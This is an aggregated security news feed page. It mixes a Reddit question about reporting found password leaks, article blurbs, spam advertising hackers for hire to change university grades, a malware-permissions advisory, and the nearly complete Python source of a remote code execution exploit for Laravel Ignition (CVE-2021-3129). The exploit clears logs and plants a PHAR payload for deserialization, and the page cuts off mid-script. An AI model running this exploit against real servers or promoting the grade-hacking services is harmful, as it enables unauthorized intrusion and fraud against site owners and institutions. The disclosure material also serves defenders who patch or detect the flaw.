hacking: security in practice
Where should I report leaks?

Was watching a video about how there were some leaks of user info on facebook, decided to go use a website to see if some of my info got leaked, it did. So, I decided to just google an old password of mine (very unique) and I found a few documents containing thousands of accounts/emails with their passwords revealed. I went through a handful of accounts to see if the passwords were valid, and doesn't seem to be the case. But still, there's gotta be a good chunk of them that might still be valid where the users haven't used the email in a while. One of them is anonymously posted as far as I'm aware. I would share where they are at, but it's not just my info.

Any help/resources would be appreciated!
EDIT: I realize this may be the wrong sub for asking such a thing, but I just wasn't sure where else to post :/

submitted by /u/Stealthybeef
[link] [comments]

Dark Reading: Attacks/Breaches
Crime Service Gives Firms Another Reason to Purge Macros

Recent Trickbot campaigns and at least three common banking Trojans all attempt to infect systems using malicious macros in Microsoft Office documents created using EtterSilent.

Preventing Dependency Confusion Attacks in Python

Before we get into how to protect python applications from dependency confusion attacks, we’ll define this new attack vector, give a bit…Continue reading on Ochrona Security »
Read more...

Hacking on Medium
Changing the ‘face’ of the Consultancy industry: Solving new-age problems through remote services…

https://cdn-images-1.medium.com/max/600/1*haoxQA7vLyX6h8DfFBeqqA.png
I have always been interested in the way old business models have changed due to technology. COVID-19 has given me the opportunity to…

Continue reading on Medium »

Hacking on Medium
how to hack website admin password  QULIOUSHACKER@GMAIL.COM

Where can I hire a hacker to hack into a school system and change your grades? The above question was asked by someone online, on one of…

Continue reading on Medium »

Hacking on Medium
HOW TO HACK A UNIVERSITY SERVER TO CHANGE GRADES QULIOUSHACKER@GMAIL.COM

https://cdn-images-1.medium.com/max/1200/0*JfEJDUf9giw9G-JY.jpg
contact us on any issues relating to hacking services QULIOUSHACKER@GMAIL.COM

Continue reading on Medium »

Hacking on Medium
9 steps to find and connect with joint venture partners

This method is becoming more and more popular helping many business owners to increase their data base rapidly. But how can you find the…

Continue reading on Medium »

Hacking on Medium
My OSCP Experience

Starting my journey to taking the OSCP was met with a mix of emotions. I was excited to begin and hopeful to pass, but I couldn’t stop…

Continue reading on Medium »

Hacking on Medium
I Need A Hacker To Change My GPA

How to change your gpa online permanently is becoming more interesting and hackers for hire are changing the narrative of modern hacking…

Continue reading on Medium »

Hacking on Medium
I Need A Hacker To Change My GPA Result

https://cdn-images-1.medium.com/max/600/0*-9jMg5dpDdEZgwy9.jpeg
Where can I hire a hacker to hack into a school system and change your gpa? The above question was asked by someone online, on one of the…

Continue reading on Medium »

Exploit Collector
Trojan-Downloader.Win32.FraudLoad.xevn Insecure Permissions

https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png
Trojan-Downloader.Win32.FraudLoad.xevn malware suffers from an insecure permissions vulnerability.

MD5 | 8e38e07fb499f06e5b4268dbde4b8550

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/17da6737cb94c11fa2363772d8eac0b1.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Downloader.Win32.FraudLoad.xevn
Vulnerability: Insecure Permissions
Description: FraudLoad.xevn creates an insecure dir named "usxxxxxxxx.exe" under c:\ drive and grants change (C) permissions to the authenticated user group. Standard users can rename the executables dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 17da6737cb94c11fa2363772d8eac0b1
Vuln ID: MVID-2021-0161
Dropped files: config.bin, usxxxxxxxx.exe
Disclosure: 04/05/2021
Exploit/PoC:
C:\>cacls usxxxxxxxx.exe
C:\usxxxxxxxx.exe BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
C:\>cd usxxxxxxxx.exe

C:\usxxxxxxxx.exe>dir
Volume in drive C has no label.

Directory of C:\usxxxxxxxx.exe

02/10/2018 01:21 AM 146,014 config.bin
02/10/2018 01:21 AM 296,960 usxxxxxxxx.exe
2 File(s) 442,974 bytes
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Ignition 2.5.1 Remote Code Execution

https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png Ignition versions prior to 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel versions prior to 8.4.2.

MD5 | 2519c43e39f1b0d2a0fdb9d7fc9a7797Download # Exploit Title: Laravel debug mode Remote Code Execution (Ignition <=
# Date: 05/04/2021
# Exploit Author: Tobias Marcotto
# Tested on: Kali Linux x64
# Version: < 2.5.1
# Description: Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.
# CVE : CVE-2021-3129
*********************************************************************************************************
#!/usr/bin/env python3.7

import base64
import re
import sys
from dataclasses import dataclass

import requests
@dataclass
class Exploit:
session: requests.Session
url: str
payload: bytes
log_path: str

def main(self):
if not self.log_path:
self.log_path = self.get_log_path()

try:
self.clear_logs()
self.put_payload()
self.convert_to_phar()
self.run_phar()
finally:
self.clear_logs()

def success(self, message, *args):
print('+ ' + message.format(*args))

def failure(self, message, *args):
print('- ' + message.format(*args))
exit()

def get_log_path(self):
r = self.run_wrapper('DOESNOTEXIST')
match = re.search(r'"file":"(\\/[^"]+?)\\/vendor\\/[^"]+?"', r.text)
if not match:
self.failure('Unable to find full path')
path = match.group(1).replace('\\/', '/')
path = f'{path}/storage/logs/laravel.log'
r = self.run_wrapper(path)
if r.status_code != 200:
self.failure('Log file does not exist: {}', path)

self.success('Log file: {}', path)
return path

def clear_logs(self):
wrapper = f'php://filter/read=consumed/resource={self.log_path}'
self.run_wrapper(wrapper)
self.success('Logs cleared')
return True

def get_write_filter(self):
filters = '|'.join((
'convert.quoted-printable-decode',
'convert.iconv.utf-16le.utf-8',
'convert.base64-decode'
))
return f'php://filter/write={filters}/resource={self.log_path}'

def run_wrapper(self, wrapper):
solution = "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution"
return self.session.post(
self.url + '/_ignition/execute-solution/',
json={
"solution": solution,
"parameters": {
"viewFile": wrapper,
"variableName": "doesnotexist"
}
}
)

def put_payload(self):
payload = self.generate_payload()
# This garanties the total log size is even
self.run_wrapper(payload)
self.run_wrapper('AA')

def generate_payload(self):
payload = self.payload
payload = base64.b64encode(payload).decode().rstrip('=')
payload = ''.join(c + '=00' for c in payload)
# The payload gets displayed twice: use an additional '=00' so that
# the second one does not have the same word alignment
return 'A' * 100 + payload + '=00'

def convert_to_phar(self):
wrapper = self.get_write_filter()
r = self.run_wrapper(wrapper)
if r.status_code == 200:
self.success('Successfully converted to PHAR !')
else:
self.failure('Convertion to PHAR failed (try again ?)')

def run_phar(self):
wrapper = f'phar://{self.log_path}/test.txt'
r = self.run_wrapper(wrapper)
if r.status_code != 500:
self.failure('Deserialisation failed ?!!')
self.success('Phar deserialized')
# We might be able to read the output of system, but if we can't, it's ok
match = re.search('^(.*?)\n\nSource: packetstormsecurity.com